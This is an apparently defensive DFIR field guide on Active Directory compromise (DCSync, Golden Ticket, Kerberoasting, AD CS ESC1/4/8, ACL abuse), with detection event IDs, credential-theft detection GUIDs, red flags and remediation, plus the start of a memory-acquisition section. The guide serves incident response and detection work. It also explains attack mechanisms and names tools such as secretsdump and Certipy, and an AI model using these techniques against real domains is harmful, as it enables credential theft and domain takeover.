- PowerShell Forensics: Malicious Cmdlet Patterns
- Persistence: LSA Provider / Security Support Provider Abuse
- The Entra Connect Server: A Target in Its Own Right
- Advanced Hunting with KQL
- Playbook: Domain Compromise / Lateral Movement
- Playbook: Ransomware
- Playbook: Web Shell / Server Compromise
- Practice Drills
- Drill: Process Tree Triage
- Windows IR Quick Reference

3.11.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 — process and memory analysis; also a staple of the SANS "Know Normal, Find Evil" poster)

August 3, 2026

4. Active Directory & Domain Controllers

Active Directory

4.1 Module 2: Active Directory & Domain Controllers

Domain Controllers carry artifacts no member server or workstation has — this module exists separately from Module 1 because DC-specific evidence (replication metadata, NTDS.dit, SYSVOL) needs its own baseline/red-flag treatment, and because AD compromise techniques (DCSync, Golden/Silver Ticket, Kerberoasting) are a distinct enough attack surface to warrant dedicated pages.

4.1.1 Module status: complete

- [x] NTDS.dit & the AD Database
- [x] SYSVOL & Group Policy Abuse
- [x] Replication Metadata (`repadmin`, `msDS-ReplAttributeMetaData`) for reconstructing what changed and when
- [x] krbtgt — what it is, why it gets reset **twice** after a suspected Golden Ticket, and the replication timing that makes a single reset insufficient
- [x] DCSync Detection — verified extended-right GUIDs and the non-DC-source filter that makes them usable
- [x] Golden Ticket / Silver Ticket Indicators
- [x] AdminSDHolder / SDProp Abuse
- [x] Kerberoasting
- [x] AD CS Abuse (ESC1/ESC4/ESC8)
- [x] ACL & Delegation Abuse

Every entry here will carry its ATT&CK mapping and link directly into the relevant Investigation Playbook — most notably *Domain Compromise / Lateral Movement*.

4.1.2 Referenced From

- Module 1: Windows Endpoint Forensics
- Defender for Identity: Mapping Alerts to What You Already Know
- Module 7: Microsoft Defender Suite for IR
- Playbook: Domain Compromise / Lateral Movement
- Enterprise DFIR Field Guide

August 3, 2026

Active Directory **T1003** **T1003.003**

4.2 Artifact: NTDS.dit

4.2.1 What it is / where it lives

`NTDS.dit` is the Active Directory database itself — every user, computer, group, OU, and GPO object in the domain, plus the password hashes for every domain account, all in one file on every Domain Controller.

- **Location:** `%SystemRoot%\NTDS\ntds.dit` (confirm the exact configured path via `HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\DSA Database file` — it can be relocated)
- **Format:** an ESE/JET database (the same underlying engine historically used by Exchange), locked while the DC is running like any other active database file
- Password hashes stored inside are encrypted with a "boot key" partially derived from the `SYSTEM` hive — meaning a full offline compromise generally requires both `NTDS.dit` and the `SYSTEM` hive together

4.2.2 Normal baseline

The file is never directly accessed except by the DC's own AD DS service, scheduled/authorized backup jobs, and legitimate `ntdsutil`-based maintenance (defragmentation, integrity checks) performed by AD administrators on a known schedule.

4.2.3 Red flags

- **Volume Shadow Copy creation on a Domain Controller outside a documented backup window** — one of the most common ways to get a readable copy of a locked `NTDS.dit` without stopping the AD DS service.
- **`ntdsutil` execution**, especially its "IFM" (Install From Media) snapshot-creation capability, run by anyone other than expected AD administration staff.
- **Direct access attempts against the live file path**, or copies of `ntds.dit` / `SYSTEM` appearing anywhere outside the DC itself (a staging directory, an archive, an outbound transfer).

Note what this page does **not** cover: an attacker doesn't need any of the above to extract credentials from AD at all — DCSync achieves the same outcome over the network, using the replication protocol instead of touching this file, which is exactly what makes it the stealthier and far more commonly used technique in practice.

> **Red flag**
>
> Unscheduled VSS creation on a DC, `ntdsutil` IFM usage outside planned maintenance, or `ntds.dit` / `SYSTEM` hive copies found off a Domain Controller.

4.2.4 How to collect it

For legitimate offline analysis (not as an attacker would, but as an investigator reconstructing what happened): extract via `ntdsutil` IFM from a forensic copy, then parse offline with the `DSInternals` PowerShell module or Impacket's `secretsdump.py` to enumerate accounts and hash material for comparison against known-compromised credentials.

4.2.5 ATT&CK mapping

T1003.003 (OS Credential Dumping: NTDS).

4.2.6 Referenced From

- Module 2: Active Directory & Domain Controllers

- krbtgt: What It Is, and Why It Gets Reset Twice

4.2.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Active Directory forensics)
- MITRE ATT&CK — T1003.003

August 3, 2026

Active Directory **T1484** **T1484.001**

4.3 Artifact: SYSVOL & Group Policy Abuse

4.3.1 What it is / where it lives

SYSVOL is a shared folder replicated across every Domain Controller, holding the actual content Group Policy Objects reference — scripts, templates, and Group Policy Preferences files. GPO abuse is a high-leverage technique precisely because a single change here can push code to every computer the policy applies to, all at once.

- **Location:** `%SystemRoot%\SYSVOL\sysvol\<domain>\`, replicated between DCs via DFSR (or the older FRS on legacy environments)
- **A specific, still-occasionally-relevant historical trap:** Group Policy Preferences once allowed storing local administrator credentials directly in a `Groups.xml` file, encrypted with a key Microsoft published (MS14-025 disclosed and patched the *creation* of new instances of this in 2014) — legacy files created before remediation can still linger in older environments, and it's worth checking for a `cpassword` attribute in any `Groups.xml` found in SYSVOL regardless of how old the environment is.

4.3.2 Normal baseline

GPO content changes infrequently and through documented change management, generally from a small number of known AD administrators.

4.3.3 Red flags

- **A GPO's version number incrementing unexpectedly.** Every GPO tracks `gPCMachineVersionNumber` / `gPCUserVersionNumber` attributes that increment on any change — an unplanned bump on a broadly-scoped GPO (especially one linked at the domain or a high-level OU) deserves immediate review of exactly what changed.
- **A new or modified logon/startup/shutdown script referenced by a GPO**, or a newly added scheduled task or registry change pushed via Group Policy Preferences.
- **Any `cpassword` value present in a `Groups.xml` file anywhere in SYSVOL** — regardless of when it was created, it represents a recoverable, plaintext-equivalent credential.

> **Red flag**
>
> An unexpected GPO version increment on a broadly-linked policy, a new script or scheduled task delivered via GPO, or any `cpassword` value found in SYSVOL.

4.3.4 How to collect it

Diff GPO content against a known-good baseline or backup taken before the suspected compromise window. Event ID 5136 (directory service object modified) captures GPO-related AD object changes if Directory Service Access auditing is enabled — see the Replication Metadata page for how to pull the full change history for a specific GPO object even without that auditing in place.

4.3.5 ATT&CK mapping

T1484.001 (Domain Policy Modification: Group Policy Modification).

4.3.6 Referenced From

- ACL & Delegation Abuse
- Module 2: Active Directory & Domain Controllers

4.3.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Active Directory persistence and abuse)
- MITRE ATT&CK — T1484.001

August 3, 2026

Active Directory **T1207**

4.4 Artifact: Replication Metadata

4.4.1 What it is / where it lives

Every attribute on every Active Directory object carries its own hidden change history — which Domain Controller last modified it, when, and what version number that change represents. This is core AD replication plumbing, not a security feature, which is exactly what makes it valuable: it's very difficult for an attacker to suppress or fake without breaking replication itself.

- **The attribute:** `msDS-ReplAttributeMetaData`, queryable via LDAP on any AD object, holding a per-attribute record of the originating DC, timestamp, and version/USN for every change ever made.
- **The tool:** `repadmin.exe` (built into Windows Server) — `repadmin /showobjmeta <object DN>` shows this history for a specific object directly; `repadmin /showrepl` and `/replsummary` show overall replication health and topology.

4.4.2 Normal baseline

Attribute changes originating from the small set of DCs actually in your environment, at times consistent with known administrative activity, with replication converging normally across all DCs within your environment's expected latency window.

4.4.3 Red flags

- **An attribute change attributed to a DC that doesn't exist in your known DC inventory.** This is the signature of a **DCShadow** attack — where an attacker temporarily registers a rogue system as if it were a legitimate DC (via specific SPN and configuration manipulation), pushes a malicious replicated change, then de-registers it. Because the change arrives via the legitimate replication protocol, it doesn't generate the usual administrative-action event log entries a direct AD modification would — the replication metadata itself is often the clearest remaining evidence.
- **A change timestamp inconsistent with the object's other activity**, or a version-number gap suggesting a change occurred that isn't otherwise accounted for in your logging.

> **Red flag**
>
> Replication metadata attributing a change to any system not on your known, current list of Domain Controllers.

4.4.4 How to collect it

```
repadmin /showobjmeta "CN=<object>,DC=<domain>,DC=<tld>"
```

Run against a suspect object to get its full per-attribute change history directly, independent of whatever Security-log auditing was or wasn't enabled at the time the change occurred.

4.4.5 ATT&CK mapping

Primary detection method for T1207 (Rogue Domain Controller / DCShadow), and a general forensic backstop for reconstructing AD object history when standard event logging wasn't configured or has since rolled off retention.

4.4.6 Referenced From

- ACL & Delegation Abuse
- AD Certificate Services (AD CS) Abuse
- AdminSDHolder / SDProp Abuse
- DCSync Detection

- Module 2: Active Directory & Domain Controllers
- Artifact: SYSVOL & Group Policy Abuse
- Defender for Identity: Mapping Alerts to What You Already Know
- Drill: Event Log Story

4.4.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Active Directory forensics)
- MITRE ATT&CK — T1207

August 3, 2026

Active Directory **T1558** **T1558.001**

4.5 krbtgt: What It Is, and Why It Gets Reset Twice

4.5.1 What it is

`krbtgt` is a built-in domain account that exists purely to make Kerberos work — its password hash is the key every Domain Controller's Key Distribution Center (KDC) uses to encrypt and sign every Ticket Granting Ticket (TGT) it issues. It's never used to log in anywhere directly; its only job is being that cryptographic anchor.

4.5.2 Why compromising it is catastrophic: the Golden Ticket

If an attacker obtains the `krbtgt` password hash — typically via DCSync or direct NTDS.dit extraction — they can forge a completely valid TGT for **any account, including ones that don't exist, with arbitrary group memberships**, entirely offline, without ever authenticating as that account or touching a Domain Controller to do it. This is a Golden Ticket.

The reason this is so severe: a TGT's validity is checked cryptographically against the `krbtgt` key it was signed with, not by confirming anything about the target account's actual current state. A forged ticket stays valid for as long as that `krbtgt` key remains valid — **independent of the target account's password being reset, the account being disabled, or even being deleted.** This is what makes Golden Ticket one of the most durable persistence mechanisms available against a domain, and why remediating it requires touching `krbtgt` directly rather than just cleaning up individual compromised accounts.

4.5.3 Why one password reset isn't enough

Active Directory retains a password **history of two** specifically for `krbtgt` — the current hash and the immediately previous one both remain valid, by design, so that TGTs issued in the moments just before a routine reset don't instantly break every active session domain-wide.

This is exactly the mechanism that defeats a single reset as remediation: resetting `krbtgt` once moves the *current* hash into the *previous* slot — the slot that's still trusted. If that's the hash the attacker actually captured, their Golden Ticket keeps working right through your first reset. **A second reset is what actually pushes the compromised hash out of both slots entirely.**

> **The correct remediation sequence**
>
> 1. Reset `krbtgt`'s password once.
> 2. Wait for full replication convergence across every Domain Controller — a change that hasn't yet reached every DC leaves a window where a ticket forged with the old key still validates against whichever DC hasn't caught up yet.
> 3. Wait roughly the length of the default Kerberos ticket lifetime (10 hours) before the second reset, so that any legitimately-issued tickets from before the first reset have naturally expired rather than being caught mid-flight.
> 4. Reset `krbtgt` a second time, and again allow full replication convergence.

Skipping the wait between resets, or resetting only once, are the two most common ways organizations believe they've remediated a Golden Ticket incident and are wrong.

4.5.4 Referenced From

- DCSync Detection
- Golden Ticket & Silver Ticket Indicators
- Module 2: Active Directory & Domain Controllers
- Case Study: Domain Compromise, End to End
- Drill: Event Log Story
- Windows IR Quick Reference

4.5.5 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Active Directory incident response)
- MITRE ATT&CK — T1558.001 (Golden Ticket)

August 3, 2026

Active Directory **T1003** **T1003.006**

4.6 DCSync Detection

4.6.1 The mechanism

DCSync doesn't require code execution on a Domain Controller at all — it abuses the legitimate Directory Replication Service protocol, impersonating a DC and simply *asking* another DC to replicate data to it, including password hashes for any account, up to and including krbtgt. It only requires an account holding specific replication rights and network access to a DC — which is exactly why it's so widely used: no exploit, no malware on a DC, just a legitimate protocol used by an account that shouldn't have been able to invoke it.

The rights required — **Replicating Directory Changes** and **Replicating Directory Changes All** — are held by Domain Admins, Enterprise Admins, and Domain Controllers themselves by default. An attacker needs to either compromise an account already holding these rights, or first grant them to an account they control (itself a detectable AD object modification).

4.6.2 Where the evidence lives

Event ID 4662 on a Domain Controller, with the `Properties` field containing one of these specific extended-right GUIDs:

GUID	Right
`1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`	Replicating Directory Changes
`1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`	Replicating Directory Changes All (the dangerous one — this is the one that actually enables secret/hash extraction)
`89e95b76-444d-4c62-991a-0facbeda640c`	Replicating Directory Changes In Filtered Set

This requires **Directory Service Access auditing** enabled (`Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy Configuration → DS Access → Audit Directory Service Access`) — it is not on by default, and needs to be turned on before an incident, not during one.

4.6.3 Detection approach

The critical filter: **DCs replicate with each other constantly and legitimately**, so the GUIDs alone aren't the signal — the signal is those GUIDs appearing in a 4662 event where the requesting account is *not* a legitimate Domain Controller. Baseline and exclude your actual DC machine accounts (which end in `$`) and any known legitimate non-DC replication consumer (Entra Connect's `MSOL_` service account is a common one that needs deliberate exclusion rather than triggering a false positive every time).

> **Red flag**
>
> A 4662 event containing the Replicating Directory Changes / Replicating Directory Changes All GUIDs where the requesting account isn't a known Domain Controller or an explicitly allow-listed sync service account.

4.6.4 What to do if confirmed

Disable the source account immediately, and specifically determine whether krbtgt was among the accounts replicated — if it plausibly was, that drives the double-reset remediation on its own timeline, not as an afterthought.

4.6.5 ATT&CK mapping

T1003.006 (OS Credential Dumping: DCSync).

4.6.6 Referenced From

- ATT&CK Coverage Map
- Reporting & Communication
- Operationalizing Threat Intelligence
- Timeline Construction & Correlation
- AD Certificate Services (AD CS) Abuse
- Module 2: Active Directory & Domain Controllers
- krbtgt: What It Is, and Why It Gets Reset Twice
- Artifact: NTDS.dit
- The Entra Connect Server: A Target in Its Own Right
- Defender for Identity: Mapping Alerts to What You Already Know
- Case Study: Domain Compromise, End to End
- Case Studies
- Glossary
- Drill: Event Log Story

4.6.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Active Directory attack detection)
- MITRE ATT&CK — T1003.006

August 3, 2026

Active Directory **T1558** **T1558.001** **T1558.002**

4.7 Golden Ticket & Silver Ticket Indicators

Both techniques forge a Kerberos ticket rather than obtaining one through legitimate authentication — the difference is which key signs the forgery, and that difference changes both the blast radius and how visible the forgery is.

4.7.1 Golden Ticket: forged TGT

Signed with the krbtgt key, so a Golden Ticket works against **any service in the domain** — full explanation of the mechanism and remediation lives on the krbtgt page. This page covers what a forged ticket tends to look like once it's in use:

- **An implausible ticket lifetime.** Default Kerberos TGT lifetime is 10 hours. Less careful Golden Ticket tooling defaults to absurd lifetimes (years), which stands out immediately once you know to look for it — though sophisticated attackers deliberately set realistic lifetimes specifically to blend in, so a normal-looking lifetime doesn't clear a ticket, it just means this particular tell doesn't apply.
- **Encryption type mismatches.** Some Golden Ticket generation tooling defaults to RC4 encryption even in environments that enforce AES — a TGT using RC4 where AES should be mandatory is worth investigating on that basis alone.
- **A TGT for an account that's disabled, doesn't exist, or has group memberships inconsistent with its real AD state** — since the forged ticket's claims don't have to correspond to anything real, mismatches here are a strong signal once you cross-reference the ticket's claims against the actual directory.

4.7.2 Silver Ticket: forged service (TGS) ticket

Signed with a **target service's own account/computer hash** rather than `krbtgt` — narrower in scope (it only works against that one service) but doesn't require compromising `krbtgt` at all, and has a distinct detection challenge: some services validate the ticket locally using their own key without checking back with the KDC, meaning Silver Ticket use may **never generate the Event ID 4769 you'd normally expect on a Domain Controller.**

4.7.3 The detection pattern that works for both

Look for **Event ID 4769 (Kerberos service ticket requested) with no corresponding earlier Event ID 4768 (TGT requested)** from the same logon session. A legitimate service ticket request always follows a legitimate TGT request in normal Kerberos flow; a TGS appearing with no preceding TGT in the same session is inconsistent with how genuine authentication actually happens, and is one of the more reliable forgery signals available regardless of which specific ticket type is in play.

> **Red flag**
>
> A 4769 with no correlating 4768 in the same session, a TGT/TGS lifetime or encryption type inconsistent with domain policy, or ticket claims (group membership, account state) inconsistent with the real directory.

4.7.4 ATT&CK mapping

T1558.001 (Golden Ticket) / T1558.002 (Silver Ticket).

4.7.5 Referenced From

- ATT&CK Coverage Map
- Module 2: Active Directory & Domain Controllers
- Defender for Identity: Mapping Alerts to What You Already Know
- Glossary

4.7.6 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Kerberos attack detection)
- MITRE ATT&CK — T1558.001 / T1558.002

August 3, 2026

Active Directory **T1098**

4.8 AdminSDHolder / SDProp Abuse

4.8.1 The mechanism

`AdminSDHolder` is a special AD container object holding a template security descriptor (ACL). A background process called **SDProp** (Security Descriptor Propagator), running on the PDC Emulator every **60 minutes by default**, compares that template against every member of AD's "protected groups" (Domain Admins, Enterprise Admins, Schema Admins, Administrators, Account Operators, Backup Operators, and several others) and overwrites any protected object's ACL that doesn't match.

This legitimate protective feature — designed to stop accidental permission drift on your most sensitive accounts — becomes a persistence mechanism the moment an attacker with sufficient privilege modifies the `AdminSDHolder` object's ACL directly. Within the next SDProp cycle, that modified ACL propagates automatically to **every current and former protected-group member** domain-wide. Worse for defenders: if you notice and strip the attacker's added permissions from one compromised admin account, SDProp simply **reapplies them again** on its next 60-minute cycle, because the actual source — `AdminSDHolder` itself — is still poisoned. Cleaning the symptom without cleaning the source guarantees the backdoor comes back within the hour.

4.8.2 Where the evidence lives

Direct modification of the `AdminSDHolder` object's ACL, capturable via Event ID 5136 (directory service object modified) if Directory Service Access auditing is enabled, or via replication metadata (`repadmin /showobjmeta` against the `AdminSDHolder` object specifically) regardless of what auditing was configured at the time.

4.8.3 Detection approach

The strongest behavioral signal isn't the initial ACL change — it's the *pattern* of an account's permissions reappearing after they were removed. If a protected-group member (or former member — `adminCount=1` persists even after someone leaves a protected group, and SDProp keeps enforcing against them) keeps "regaining" unexpected permissions roughly every hour despite being cleaned up, stop re-cleaning the individual account and check `AdminSDHolder`'s own ACL directly.

Red flag

Any modification to `AdminSDHolder`'s ACL outside planned administrative changes, or a protected account whose stripped permissions keep reappearing on a roughly 60-minute cadence.

4.8.4 Cleanup

Restore `AdminSDHolder`'s ACL to its correct baseline — not just the individual accounts SDProp already propagated the malicious entry to, since those will simply be re-poisoned on the next cycle if the source object itself isn't fixed first.

4.8.5 ATT&CK mapping

T1098 (Account Manipulation), specifically as a domain-persistence technique building on privileged-group membership.

Practice this

Event Log Story chains a DCSync event straight into an AdminSDHolder modification — reconstruct the full sequence from six raw events before checking the answer.

4.8.6 Referenced From

- ATT&CK Coverage Map

- ACL & Delegation Abuse
- Module 2: Active Directory & Domain Controllers
- The Entra Connect Server: A Target in Its Own Right
- Drill: Event Log Story
- Practice Drills
- Drill: PowerShell Decode

4.8.7 Sources

- Microsoft Learn — Appendix C: Protected Accounts and Groups in Active Directory
- SANS Digital Forensics Certifications overview (FOR508 — Active Directory persistence)

August 3, 2026

Active Directory **T1558** **T1558.003**

4.9 Kerberoasting

4.9.1 The mechanism

Any authenticated domain user can legitimately request a Kerberos service ticket (TGS) for any registered Service Principal Name — this is normal, necessary Kerberos behavior, not a vulnerability by itself. The TGS is encrypted using the **target service account's** password hash, not the requesting user's. If that service account still allows RC4 encryption and has a weak or old password, an attacker can request the ticket, take it away, and crack it completely offline — no further contact with the Domain Controller, no lockout risk, no additional network noise after the single initial request.

Service accounts are disproportionately good targets: they're often set up once, given a password that's never rotated, frequently over-provisioned with privilege, and — unlike interactive user accounts — rarely subject to the same password-complexity scrutiny in older environments.

4.9.2 Where the evidence lives

Event ID 4769 (Kerberos service ticket requested), specifically instances where the **Ticket Encryption Type is** `0x17` (RC4-HMAC) requested against a service account.

4.9.3 Detection approach

A single 4769 for a single service a user is about to legitimately access is completely normal — that's what Kerberos does constantly. The signature that matters is **volume and breadth from one requesting account in a short window**: a normal user requesting service tickets for dozens of different SPNs within seconds or minutes has no legitimate reason to be doing that, and is consistent with an automated tool enumerating every roastable service account it can find.

> **Red flag**
>
> A single account requesting RC4-encrypted (`0x17`) service tickets against an unusually large number of distinct SPNs in a short time window.

4.9.4 Longer-term mitigation (worth flagging even outside an active incident)

- Enforce AES-only Kerberos encryption domain-wide where every service supports it, which removes the RC4 weak-crypto option Kerberoasting tooling depends on by default.
- Move service accounts to Group Managed Service Accounts (gMSAs), which use long, random, automatically-rotated passwords that are impractical to crack even if roasted.
- Periodically audit for and remove unnecessary or stale SPNs — every registered SPN is a potential roasting target.

4.9.5 ATT&CK mapping

T1558.003 (Kerberoasting).

4.9.6 Referenced From

- ATT&CK Coverage Map
- Operationalizing Threat Intelligence
- AD Certificate Services (AD CS) Abuse
- Module 2: Active Directory & Domain Controllers
- Advanced Hunting with KQL

- Defender for Identity: Mapping Alerts to What You Already Know
- Glossary

4.9.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Kerberos attack detection)
- MITRE ATT&CK — T1558.003

August 3, 2026

Active Directory **T1649**

4.10 AD Certificate Services (AD CS) Abuse

4.10.1 Why this belongs alongside DCSync and Golden Ticket

Everything else in this module assumes Kerberos is the authentication path being attacked. AD CS abuse is different: it targets Active Directory's built-in PKI (Public Key Infrastructure) to obtain a **certificate** that authenticates as another user — including Domain Admins — without needing that user's password or Kerberos ticket material at all. It's now one of the most actively exploited AD attack surfaces precisely because it's common (most enterprise AD environments run AD CS for something) and, until recently, rarely audited.

The 2021 "Certified Pre-Owned" research catalogued these escalation paths as ESC1 through ESC8; the catalogue has grown since — as of this writing, up to ESC17. This page covers the three most commonly encountered in real engagements; the rest share the same underlying pattern (a template, a CA setting, an ACL, or the enrollment service itself is misconfigured) and the same starting detection approach.

4.10.2 ESC1 — the template that lets you be anyone

The misconfiguration: a certificate template allows the requester to supply an arbitrary Subject Alternative Name (SAN) in their own request, carries a client-authentication-capable Extended Key Usage, and grants enrollment rights to a broad, low-privileged group (Domain Users is the common case). Put those three together and any domain user can request a certificate claiming to *be* any other account — including a Domain Admin — and that certificate will authenticate successfully.

This is the most common and most impactful AD CS misconfiguration, and often traces back to an administrator duplicating a built-in template and enabling "supply in request" for an unrelated compatibility reason, without recognizing the combination they'd just created.

4.10.3 ESC4 — the stealthy path that creates ESC1 on demand

The misconfiguration: a low-privileged principal has been granted `Owner`, `WriteDacl`, `WriteOwner`, or `WriteProperty` rights on a certificate template *object itself* — not on what the template allows requesters to do, but on the template's own configuration. An attacker with any of these rights doesn't need to find an already-ESC1-vulnerable template; they modify a template to introduce the ESC1 misconfiguration themselves, exploit it, and can revert the change afterward.

This is why template hardening reviews that only check current template settings can miss ESC4 entirely — the template looks fine *right now*, but whoever can write to it can make it look like ESC1 whenever they choose.

4.10.4 ESC8 — the one that doesn't need a template misconfiguration at all

The mechanism: NTLM relay against AD CS's HTTP web enrollment endpoint. An attacker coerces or waits for a high-value account's NTLM authentication (classically, a Domain Controller's own machine account) and relays it to the enrollment service, obtaining a valid certificate *as that account* — including, if the relayed identity is a DC, a certificate that can be used to authenticate as that DC and perform DCSync directly. This path requires no vulnerable template configuration at all, which is exactly why hardening templates alone doesn't close it — the enrollment service's HTTP endpoint and NTLM relay exposure are the actual problem.

4.10.5 Where the evidence lives

Event IDs 4886 and 4887 on the Certificate Authority server (certificate request submitted / certificate issued) — most organizations don't collect these by default, which is worth confirming and fixing before an incident, not during one. A surge of certificate requests referencing SANs inconsistent with the requesting account, or requests immediately followed by authentication as a completely different, higher-privileged identity, is the core pattern regardless of which specific ESC path was used.

Red flag

A certificate issued with a SAN that doesn't match the requesting account's actual identity, a certificate template modified shortly before being exploited (cross-reference replication metadata for the template object), or NTLM authentication traffic directed at the AD CS web enrollment endpoint from an unexpected source.

4.10.6 How you actually use this in an investigation

Certipy (the standard open-source enumeration tool for this attack surface) is worth knowing about defensively even though this guide won't walk through using it offensively: its `find` command is what most attackers — and most legitimate security assessments — use to identify which templates in an environment are actually vulnerable, and running the equivalent audit *before* an incident is the highest-leverage single action available here. If you're investigating a suspected domain compromise and haven't yet ruled out AD CS as the path in, treat "have we audited our certificate templates" as a standing question alongside checking for DCSync and Kerberoasting activity, not an afterthought.

4.10.7 Turning this into report language

"A certificate was misused" doesn't convey the severity. "A certificate template (`VulnTemplate`) was found configured to allow requester-supplied Subject Alternative Names combined with client authentication rights and Domain Users enrollment access (ESC1) — this template configuration alone was sufficient for any authenticated domain user to obtain a certificate impersonating a Domain Admin account, independent of any password or Kerberos compromise" gives both the technical justification (a reviewer can verify the template settings directly) and the executive-relevant point: this wasn't a sophisticated multi-stage attack, it was a standing misconfiguration that any user in the domain could have exploited at any time.

4.10.8 ATT&CK mapping

T1649 (Steal or Forge Authentication Certificates).

4.10.9 Referenced From

- ATT&CK Coverage Map
- Module 2: Active Directory & Domain Controllers
- Glossary

4.10.10 Sources

- SpecterOps — "Certified Pre-Owned" (the original ESC1–ESC8 research)
- Microsoft Learn — Defender for Identity certificate security posture assessments
- SANS Digital Forensics Certifications overview (FOR508 — AD CS attack detection)

August 3, 2026

Active Directory **T1098** **T1098.001** **T1098.007** **T1484** **T1484.002**

4.11 ACL & Delegation Abuse

4.11.1 Why this is bigger than AdminSDHolder

AdminSDHolder is one specific, well-known example of a broader category: Active Directory's entire permission model is built on Access Control Lists (ACLs) granting specific rights to specific principals over specific objects, and **any** object with an over-permissive ACL is a potential attack path, not just the one this guide already named. This is the category BloodHound-style attack-path mapping tools exist specifically to visualize — because the individual misconfigurations are often boring and easy to miss one at a time, but chain together into a full path to Domain Admin when viewed as a graph.

4.11.2 The rights that matter most

Right	What it actually lets you do
`GenericAll`	Full control over the object — equivalent to owning it
`GenericWrite`	Modify most attributes, including ones with security implications
`WriteDacl`	Modify the object's own ACL — grant yourself (or anyone) further rights, including `GenericAll`, afterward
`WriteOwner`	Take ownership of the object, which implicitly grants the ability to modify its ACL next
`ForceChangePassword`	Reset a user's password without knowing their current one
`AddMember`	Add a principal (including yourself) to a group

The dangerous pattern isn't any single right in isolation — plenty of delegated rights are legitimate (a help-desk group with `ForceChangePassword` over regular users is completely normal). It's a **low-privileged principal holding one of these rights over a high-value target**: a regular user with `GenericAll` over a Domain Admin's user object, or `WriteDacl` over a group that's itself a member of a protected group.

4.11.3 How the chain works

None of these rights need to be exploited directly against the ultimate target. A common chain: attacker compromises a low-privileged account → that account has `GenericWrite` over Service Account A (unrelated, seemingly low-value) → Service Account A has `AddMember` rights on Group B → Group B is nested inside Domain Admins. Each individual hop looks unremarkable reviewed on its own; the chain is only visible when the full graph is mapped end to end.

4.11.4 Where the evidence lives

Direct ACL modifications generate **Event ID 5136** (directory service object modified) if Directory Service Access auditing is enabled — the same event already used elsewhere in this module for SYSVOL/GPO and AdminSDHolder changes. For historical reconstruction regardless of what auditing was active at the time, replication metadata (`repadmin /showobjmeta`) shows exactly when a given object's ACL last changed and from which DC.

4.11.5 How you actually use this in an investigation

Auditing this proactively (before an incident) means periodically mapping the actual attack-path graph — who holds dangerous rights over what — rather than only reviewing changes reactively. During an active investigation, once you've confirmed a specific low-privileged account is compromised, the actual next question is "what does this account's ACL-derived reach actually extend to" — not just its explicit group memberships, but every object it holds `GenericAll` / `GenericWrite` / `WriteDacl` / `ForceChangePassword` over, since any of those is a viable next hop for an attacker who's done the same mapping you're doing now, likely well before you started.

Red flag

A low-privileged account holding any of the rights above over an object with materially higher privilege than the account itself — the mismatch, not any single right, is the signal.

4.11.6 Turning this into report language

"The account had excessive permissions" doesn't give a reader anything to act on. "The compromised account `svc-report` held `GenericAll` rights over the `Tier0-Admins` security group, a nesting inconsistent with its function and not attributable to any documented delegation — this single misconfigured ACL meant compromise of a low-privileged service account was structurally equivalent to compromising Domain Admin directly" states the finding, cites the specific mechanism, and makes the severity self-evident without requiring the reader to already understand AD ACLs.

4.11.7 ATT&CK mapping

T1098.001–T1098.007 (Account Manipulation) broadly, and T1484.002 (Domain Trust Modification) where the abused object relates to trust configuration specifically.

4.11.8 Referenced From

- ATT&CK Coverage Map
- Module 2: Active Directory & Domain Controllers

4.11.9 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Active Directory attack-path analysis)
- MITRE ATT&CK — T1098, T1484

August 3, 2026

5. Windows Memory Forensics

Memory Forensics

5.1 Module 3: Windows Memory Forensics

Memory is the most volatile evidence tier that's still practical to capture in full (see Order of Volatility) — and it's often the *only* place fileless techniques (see Module 4) ever leave a trace, precisely because they never touch disk.

5.1.1 Module status: complete

- [x] Memory Acquisition — tools and live-vs-offline tradeoffs
- [x] Process Analysis — `pslist` / `pstree` / `psscan`, and the diff technique that catches hidden/unlinked processes
- [x] EPROCESS Internals — what's actually inside the structure, and which fields turn a flagged process into a defensible finding
- [x] Injected Code Detection — `malfind`, `ldrmodules`, `vadinfo` as a workflow
- [x] Injection Techniques — process hollowing, process doppelgänging, reflective DLL injection, and what each looks like in a memory capture
- [x] Thread Analysis — thread start-address anomalies, and the purpose-built plugins that catch them
- [x] Mutex (Mutant) Analysis — malware's own single-instance markers, used for fingerprinting and cross-host hunting
- [x] LSASS Memory Analysis — live-read vs. offline dump-and-crack, including the verified `comsvcs.dll` technique
- [x] Network Artifacts in Memory — `netstat` / `netscan` and what it recovers that a live query can't
- [x] Malware Triage Methodology — the capstone: static + memory triage as one workflow, and turning capability into an impact statement

This module pairs directly with Module 4: PowerShell Forensics — most of what makes fileless PowerShell dangerous is precisely that it only ever exists in the region this module covers.

5.1.2 Referenced From

- Baseline Process Trees
- PowerShell Forensics: Evasion Detection
- Persistence: LSA Provider / Security Support Provider Abuse
- Playbook: Ransomware
- Enterprise DFIR Field Guide

August 3, 2026

Memory Forensics

5.2 Memory Acquisition

5.2.1 Why this comes first

Everything else in this module depends on getting a usable memory image in the first place, and Order of Volatility already established the core principle: memory sits above disk and just about everything else in urgency, because it disappears on reboot or power loss and nothing recovers it after that.

5.2.2 Live acquisition (physical or traditional VM hosts)

Tools like Magnet RAM Capture, WinPMEM, and FTK Imager's memory-capture mode run *on* the live, potentially-compromised host and write RAM contents out to a file.

- **Footprint matters.** The acquisition tool itself uses memory and CPU while running, which is an unavoidable, small amount of contamination — prefer lightweight, purpose-built tools over anything heavier, and document exactly what you ran and when as part of your evidence handling record.
- **Requires administrative/SYSTEM-level privileges** to access physical memory directly.
- **The data is a snapshot of something still moving.** Unlike a disk image, a memory capture represents a system that was actively changing state during acquisition — this is normal and expected, not a flaw in the capture.

5.2.3 Offline acquisition (virtualized/cloud hosts)

This is where cloud and hybrid environments have a real advantage over physical hardware: if the host is a VM, **suspending or snapshotting it captures memory state directly** — the hypervisor-level snapshot file (`.vmem` for VMware, or the equivalent for other platforms) *is* a memory image, with zero acquisition-tool footprint on the guest OS at all. Where available, this is generally preferable to live in-guest acquisition.

